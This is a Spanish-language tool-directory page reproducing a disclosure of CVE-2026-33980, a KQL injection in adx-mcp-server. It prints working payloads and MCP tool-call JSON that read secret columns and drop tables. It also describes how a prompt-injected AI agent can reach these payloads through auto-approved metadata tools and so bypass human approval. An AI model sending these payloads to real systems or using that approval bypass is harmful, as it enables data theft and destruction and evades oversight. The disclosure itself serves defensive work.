Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33980 — Prueba de concepto de exploit para la inyección KQL en adx-mcp-server mediante el parámetro table_name, que permite la exfiltración de datos y la ejecución de comandos destructivos en Azure Data Explorer. | Kitploit
Herramientas/GitHubGitHub/romain-deperne/cve-2026-33980
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad en la NubeSeguridad de Bases de Datos
GitHubromain-deperne/cve-2026-33980

CVE-2026-33980

Prueba de concepto de exploit para la inyección KQL en adx-mcp-server mediante el parámetro table_name, que permite la exfiltración de datos y la ejecución de comandos destructivos en Azure Data Explorer.

Ver Repositorio
37hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33980 — Inyección KQL en adx-mcp-server mediante el parámetro table_name

Gravedad: Alta (CVSS 8.3) CWE: CWE-943 — Neutralización incorrecta de elementos especiales en la lógica de consultas de datos Afectado: adx-mcp-server <= 1.1.0 Aviso: GHSA-vphc-468g-8rfp NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980 Crédito: Romain Deperne

TL;DR

Tres herramientas MCP en adx-mcp-server interpolan el parámetro table_name directamente en consultas KQL (Kusto Query Language) mediante f-strings. Un atacante o un agente de IA con inyección de prompt puede leer cualquier tabla del clúster de Azure Data Explorer, ejecutar comandos de administración (.drop table) o ejecutar consultas analíticas arbitrarias — eludiendo el límite de confianza entre las herramientas de metadatos "seguras" y la herramienta execute_query sin procesar.

Análisis

Estaba revisando la lista awesome-mcp-servers buscando específicamente servidores MCP que envuelven plataformas de datos en la nube — estos son de alto riesgo porque están diseñados para dar a los agentes de IA acceso directo a bases de datos, y los parámetros de las herramientas MCP son totalmente controlables por el atacante (cualquier LLM que procese datos no confiables puede ser víctima de inyección de prompt para que pase argumentos maliciosos a las herramientas).

Al revisar cómo los parámetros de las herramientas MCP llegaban a las consultas de Azure Data Explorer se observaron tres interpolaciones directas en server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" y f".show table {table_name} details".

Lo interesante es la elusión del límite de confianza: el servidor expone tanto una herramienta execute_query sin procesar (que los clientes MCP podrían requerir aprobación humana para usar) como estas herramientas "seguras" de inspección de metadatos (que se aprueban automáticamente). Inyectar a través de las herramientas de metadatos permite eludir cualquier política de aprobación que aplique el cliente. Eso es lo que llevó esto de "error de inyección" a una verdadera violación del límite de seguridad.

La sintaxis de comentarios de KQL (//) permite que una carga útil suprima el resto de la consulta original.

Componente afectado

Archivo: src/adx_mcp_server/server.py

# Line 228 — get_table_schema
query = f"{table_name} | getschema"

# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"

# Line 268 — get_table_details
query = f".show table {table_name} details"

Los tres pasan table_name de los argumentos de la herramienta MCP directamente a client.execute(config.database, query) sin ninguna validación.

Causa raíz

KQL permite encadenar operadores de consulta con | y ejecutar comandos de administración con el prefijo .. El carácter // inicia un comentario de línea. Por lo tanto, la interpolación directa con f-string permite la inyección de consultas:

  • f"{table_name} | getschema" → añadir | project Secret // para comentar | getschema
  • f".show table {table_name} details" → inyectar \n.drop table para encadenar un comando de administración

Por qué esto importa más allá de una herramienta execute_query sin procesar: los clientes MCP a menudo distinguen entre herramientas de solo lectura "seguras" (aprobadas automáticamente) y herramientas de ejecución sin procesar (requieren confirmación). La inyección se dirige a las herramientas de metadatos "seguras", eludiendo el límite de aprobación.

PoC

Consulte poc.py para una demostración completa. Cargas útiles principales:

# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"

# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"

Llamadas a herramientas MCP:

{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}

Impacto

  1. Exfiltración de datos — leer cualquier tabla en la base de datos de Azure Data Explorer
  2. Destrucción de datos — comandos de administración como .drop table, .drop extents
  3. Amplificación de la inyección de prompts — un agente de IA que procesa datos controlados por el atacante en ADX puede ser manipulado para pasar valores maliciosos de table_name, convirtiendo la inyección de prompts en acceso total a los datos

Cronología

  • Reportado: aviso privado de GHSA
  • CVE publicado: CVE-2026-33980
Descargar herramienta